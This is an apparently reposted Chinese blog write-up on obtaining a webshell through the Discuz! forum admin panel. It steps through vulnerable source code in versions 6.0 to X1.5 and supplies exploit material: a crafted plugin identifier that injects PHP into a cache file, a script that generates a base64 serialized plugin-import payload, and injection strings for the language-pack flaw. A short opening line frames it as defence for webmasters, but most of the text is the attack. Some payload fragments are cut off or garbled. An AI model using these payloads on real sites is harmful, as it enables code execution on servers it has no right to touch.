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今天烈火小编在订阅的博客中发现了《Discuz!后台怎么拿到Webshell》一文，看来黑客是无孔不入的，那么作为站长和网管，我们怎么进行防范呢？首先我们需要了解discuz的漏洞，了解得到webshell的过程。下面来看原文：
既然还没跪，我就从Discuz!古老的6.0版本开始，漏洞都出现在扩展插件上，利用方式有所不同，下面开始。
一 Discuz! 6.0 和 Discuz! 7.0
既然要后台拿Shell，文件写入必看。
/include/cache.func.php
function writetocache($script, $cachenames, $cachedata = ”, $prefix = ‘cache_’) {
global $authkey;
if(is_array($cachenames) && !$cachedata) {
foreach($cachenames as $name) {
$cachedata .= getcachearray($name, $script);
}
}
$dir = DISCUZ_ROOT.’./forumdata/cache/’;
if(!is_dir($dir)) {
@mkdir($dir, 0777);
}
if($fp = @fopen(“$dir$prefix$script.php”, ‘wb’)) {
fwrite($fp, “<?php\n//Discuz! cache file, DO NOT modify me!”.
“\n//Created: “.date(“M j, Y, G:i”).
“\n//Identify: “.md5($prefix.$script.’.php’.$cachedata.$authkey).”\n\n$cachedata?>”);
fclose($fp);
} else {
exit(‘Can not write to cache files, please check directory ./forumdata/ and ./forumdata/cache/ .’);
}
}
往上翻,找到调用函数的地方.都在updatecache函数中.
if(!$cachename || $cachename == ‘plugins’) {
$query = $db->query(“SELECT pluginid, available, adminid, name, identifier, datatables, directory, copyright, modules FROM {$tablepre}plugins”);
while($plugin = $db->fetch_array($query)) {
$data = array_merge($plugin, array(‘modules’ => array()), array(‘vars’ => array()));
$plugin[‘modules’] = unserialize($plugin[‘modules’]);
if(is_array($plugin[‘modules’])) {
foreach($plugin[‘modules’] as $module) {
$data[‘modules’][$module[‘name’]] = $module;
}
}
$queryvars = $db->query(“SELECT variable, value FROM {$tablepre}pluginvars WHERE pluginid=’$plugin[pluginid]‘”);
while($var = $db->fetch_array($queryvars)) {
$data[‘vars’][$var[‘variable’]] = $var[‘value’];
}
//注意
writetocache($plugin[‘identifier’], ”, “\$_DPLUGIN[‘$plugin[identifier]‘] = “.arrayeval($data), ‘plugin_’);
}
}
如果我们可以控制$plugin[‘identifier’]就有机会,它是plugins表里读出来的.
去后台看看,你可以发现identifier对应的是唯一标示符.联想下二次注射,单引号从数据库读出后写入文件时不会被转义.贱笑一下.
但是……你懂的,当你去野区单抓对面DPS时,发现对面蹲了4个敌人的心情.
/admin/plugins.inc.php
if(($newname = trim($newname)) || ($newidentifier = trim($newidentifier))) {
if(!$newname) {
cpmsg(‘plugins_edit_name_invalid’);
}
$query = $db->query(“SELECT pluginid FROM {$tablepre}plugins WHERE identifier=’$newidentifier’ LIMIT 1″);
//下面这个让人蛋疼欲裂,ispluginkey判定newidentifier是否有特殊字符
if($db->num_rows($query) || !$newidentifier || !ispluginkey($newidentifier)) {
cpmsg(‘plugins_edit_identifier_invalid’);
}
$db->query(“INSERT INTO {$tablepre}plugins (name, identifier, available) VALUES (‘”.dhtmlspecialchars(trim($newname)).”‘, ‘$newidentifier’, ’0′)”);
}
//写入缓存文件
updatecache(‘plugins’);
updatecache(‘settings’);
cpmsg(‘plugins_edit_succeed’, ‘admincp.php?action=pluginsconfig’);
还好Discuz!提供了导入的功能,好比你有隐身,对面没粉.你有疾风步,对面没控.好歹给咱留条活路.
elseif(submitcheck(‘importsubmit’)) {
$plugindata = preg_replace(“/(#.*\s+)*/”, ”, $plugindata);
$pluginarray = daddslashes(unserialize(base64_decode($plugindata)), 1);
//解码后没有判定
if(!is_array($pluginarray) || !is_array($pluginarray[‘plugin’])) {
cpmsg(‘plugins_import_data_invalid’);
} elseif(empty($ignoreversion) && strip_tags($pluginarray[‘version’]) != strip_tags($version)) {
cpmsg(‘plugins_import_version_invalid’);
}
$query = $db->query(“SELECT pluginid FROM {$tablepre}plugins WHERE identifier=’{$pluginarray[plugin][identifier]}’ LIMIT 1″);
//判断是否重复,直接入库
if($db->num_rows($query)) {
cpmsg(‘plugins_import_identifier_duplicated’);
}
$sql1 = $sql2 = $comma = ”;
foreach($pluginarray[‘plugin’] as $key => $val) {
if($key == ‘directory’) {
//compatible for old versions
$val .= (!empty($val) && substr($val, -1) != ‘/’) ? ‘/’ : ”;
}
$sql1 .= $comma.$key;
$sql2 .= $comma.’\”.$val.’\”;
$comma = ‘,’;
}
$db->query(“INSERT INTO {$tablepre}plugins ($sql1) VALUES ($sql2)”);
$pluginid = $db->insert_id();
foreach(array(‘hooks’, ‘vars’) as $pluginconfig) {
if(is_array($pluginarray[$pluginconfig])) {
foreach($pluginarray[$pluginconfig] as $config) {
$sql1 = ‘pluginid’;
$sql2 = ‘\”.$pluginid.’\”;
foreach($config as $key => $val) {
$sql1 .= ‘,’.$key;
$sql2 .= ‘,\”.$val.’\”;
}
$db->query(“INSERT INTO {$tablepre}plugin$pluginconfig ($sql1) VALUES ($sql2)”);
}
}
}
updatecache(‘plugins’);
updatecache(‘settings’);
cpmsg(‘plugins_import_succeed’, ‘admincp.php?action=pluginsconfig’);
}
#p#副标题#e#随便新建一个插件,identifier为shell,生成文件路径及内容.然后导出备用.
/forumdata/cache/plugin_shell.php
<?php
//Discuz! cache file, DO NOT modify me!
//Created: Mar 17, 2011, 16:56
//Identify: 7c0b5adeadf5a806292d45c64bd0659c
$_DPLUGIN[‘shell’] = array (
‘pluginid’ => ’11′,
‘available’ => ’0′,
‘adminid’ => ’0′,
‘name’ => ‘Getshell’,
‘identifier’ => ‘shell’,
‘datatables’ => ”,
‘directory’ => ”,
‘copyright’ => ”,
‘modules’ =>
array (
),
‘vars’ =>
array (
),
)?>
我们可以输入任意数据,唯一要注意的是文件名的合法性.感谢微软,下面的文件名是合法的.
/forumdata/cache/plugin_a’]=phpinfo();$a[‘a.php
<?php
//Discuz! cache file, DO NOT modify me!
//Created: Mar 17, 2011, 16:56
//Identify: 7c0b5adeadf5a806292d45c64bd0659c
$_DPLUGIN[‘a’]=phpinfo();$a[‘a’] = array (
‘pluginid’ => ’11′,
‘available’ => ’0′,
‘adminid’ => ’0′,
‘name’ => ‘Getshell’,
‘identifier’ => ‘shell’,
‘datatables’ => ”,
‘directory’ => ”,
‘copyright’ => ”,
‘modules’ =>
array (
),
‘vars’ =>
array (
),
)?>
最后是编码一次,给成Exp:
<?php
$a = unserialize(base64_decode(“YToyOntzOjY6InBsdWdpbiI7YTo5OntzOjk6ImF2YWlsYWJsZSI7czoxOiIw
IjtzOjc6ImFkbWluaWQiO3M6MToiMCI7czo0OiJuYW1lIjtzOjg6IkdldHNo
ZWxsIjtzOjEwOiJpZGVudGlmaWVyIjtzOjU6IlNoZWxsIjtzOjExOiJkZXNj
cmlwdGlvbiI7czowOiIiO3M6MTA6ImRhdGF0YWJsZXMiO3M6MDoiIjtzOjk6
ImRpcmVjdG9yeSI7czowOiIiO3M6OToiY29weXJpZ2h0IjtzOjA6IiI7czo3
OiJtb2R1bGVzIjtzOjA6IiI7fXM6NzoidmVyc2lvbiI7czo1OiI2LjAuMCI7
fQ==”));
//print_r($a);
$a[‘plugin’][‘name’]=’GetShell’;
$a[‘plugin’][‘identifier’]=’a\’]=phpinfo();$a[\”;
print(base64_encode(serialize($a)));
?>
7.0同理,大家可以自己去测试咯.如果你使用上面的代码,请勾选”允许导入不同版本 Discuz! 的插件”
#p#副标题#e#
二 Discuz! 7.2 和 Discuz! X1.5
以下以7.2为例
/admin/plugins.inc.php
elseif($operation == ‘import’) {
if(!submitcheck(‘importsubmit’) && !isset($dir)) {
/*未提交前表单神马的*/
} else {
if(!isset($dir)) {
//导入数据解码
$pluginarray = getimportdata(‘Discuz! Plugin’);
} elseif(!isset($installtype)) {
/*省略一部分*/
}
//判定你妹啊,两遍啊两遍
if(!ispluginkey($pluginarray[‘plugin’][‘identifier’])) {
cpmsg(‘plugins_edit_identifier_invalid’, ”, ‘error’);
}
if(!ispluginkey($pluginarray[‘plugin’][‘identifier’])) {
cpmsg(‘plugins_edit_identifier_invalid’, ”, ‘error’);
}
if(is_array($pluginarray[‘hooks’])) {
foreach($pluginarray[‘hooks’] as $config) {
if(!ispluginkey($config[‘title’])) {
cpmsg(‘plugins_import_hooks_title_invalid’, ”, ‘error’);
}
}
}
if(is_array($pluginarray[‘vars’])) {
foreach($pluginarray[‘vars’] as $config) {
if(!ispluginkey($config[‘variable’])) {
cpmsg(‘plugins_import_var_invalid’, ”, ‘error’);
}
}
}
$langexists = FALSE;
//你有张良计,我有过墙梯
if(!empty($pluginarray[‘language’])) {
@mkdir(‘./forumdata/plugins/’, 0777);
$file = DISCUZ_ROOT.’./forumdata/plugins/’.$pluginarray[‘plugin’][‘identifier’].’.lang.php’;
if($fp = @fopen($file, ‘wb’)) {
$scriptlangstr = !empty($pluginarray[‘language’][‘scriptlang’]) ? “\$scriptlang[‘”.$pluginarray[‘plugin’][‘identifier’].”‘] = “.langeval($pluginarray[‘language’][‘scriptlang’]) : ”;
$templatelangstr = !empty($pluginarray[‘language’][‘templatelang’]) ? “\$templatelang[‘”.$pluginarray[‘plugin’][‘identifier’].”‘] = “.langeval($pluginarray[‘language’][‘templatelang’]) : ”;
$installlangstr = !empty($pluginarray[‘language’][‘installlang’]) ? “\$installlang[‘”.$pluginarray[‘plugin’][‘identifier’].”‘] = “.langeval($pluginarray[‘language’][‘installlang’]) : ”;
fwrite($fp, “’);
fclose($fp);
}
$langexists = TRUE;
}
/*处理神马的*/
updatecache(‘plugins’);
updatecache(‘settings’);
updatemenu();
/*省略部分代码*/
}
先看导入数据的过程,Discuz! 7.2之后的导入数据使用XML,但是7.2保持了向下兼容.X1.5废弃了.
function getimportdata($name = ”, $addslashes = 1, $ignoreerror = 0) {
if($GLOBALS[‘importtype’] == ‘file’) {
$data = @implode(”, file($_FILES[‘importfile’][‘tmp_name’]));
@unlink($_FILES[‘importfile’][‘tmp_name’]);
} else {
$data = $_POST[‘importtxt’] && MAGIC_QUOTES_GPC ? stripslashes($_POST[‘importtxt’]) : $GLOBALS[‘importtxt’];
}
include_once DISCUZ_ROOT.’./include/xml.class.php’;
$xmldata = xml2array($data);
if(!is_array($xmldata) || !$xmldata) {
//向下兼容
if($name && !strexists($data, ‘# ‘.$name)) {
if(!$ignoreerror) {
cpmsg(‘import_data_typeinvalid’, ”, ‘error’);
} else {
return array();
}
}
$data = preg_replace(“/(#.*\s+)*/”, ”, $data);
$data = unserialize(base64_decode($data));
if(!is_array($data) || !$data) {
if(!$ignoreerror) {
cpmsg(‘import_data_invalid’, ”, ‘error’);
} else {
return array();
}
}
} else {
//XML解析
if($name && $name != $xmldata[‘Title’]) {
if(!$ignoreerror) {
cpmsg(‘import_data_typeinvalid’, ”, ‘error’);
} else {
return array();
}
}
$data = exportarray($xmldata[‘Data’], 0);
}
if($addslashes) {
//daddslashes在两个版本的处理导致了Exp不能通用.
$data = daddslashes($data, 1);
}
return $data;
}
#p#副标题#e#判定了identifier之后,7.0版本之前的漏洞就不存在了.但是它又加入了语言包……
我们只要控制scriptlangstr或者其它任何一个就可以了。
function langeval($array) {
$return = ”;
foreach($array as $k => $v) {
//Key过滤了单引号,但是只过滤了单引号,可以利用\废掉后面的单引号
$k = str_replace(“‘”, ”, $k);
//下面的你绝对看不懂啊看不懂,你到底要人家怎么样嘛?你对\有爱?
$return .= “\t’$k’ => ‘”.str_replace(array(“\\’”, “‘”), array(“\\\’”, “\’”), stripslashes($v)).”‘,\n”;
}
return “array(\n$return);\n\n”;
}
Key这里不通用.
7.2
function daddslashes($string, $force = 0) {
!defined(‘MAGIC_QUOTES_GPC’) && define(‘MAGIC_QUOTES_GPC’, get_magic_quotes_gpc());
if(!MAGIC_QUOTES_GPC || $force) {
if(is_array($string)) {
foreach($string as $key => $val) {
$string[$key] = daddslashes($val, $force);
}
} else {
$string = addslashes($string);
}
}
return $string;
}
X1.5
function daddslashes($string, $force = 1) {
if(is_array($string)) {
foreach($string as $key => $val) {
unset($string[$key]);
//过滤了key
$string[addslashes($key)] = daddslashes($val, $force);
}
} else {
$string = addslashes($string);
}
return $string;
}
#p#副标题#e#还是看下shell.lang.php的文件格式.
<?php
$scriptlang[‘shell’] = array(
‘a’ => ’1′,
‘b’ => ’2′,
);
?>
7.2版本没有过滤Key,所以直接用\废掉单引号.
X1.5,单引号转义后变为\’,再被替换一次’,还是留下了\
而$v在两个版本中过滤相同,比较通用.
X1.5至少副站长才可以管理后台,虽然看不到插件选项,但是可以直接访问/admin.php?frames=yes&action=plugins添加插件
$v通用Exp:
”>
#p#副标题#e#7.2 Key利用
1);phpinfo();?>]]>
X1.5
1);phpinfo();?>]]>
如果你愿意,可以使用base64_encode(serialize($a))的方法试试7.2获取Webshell.
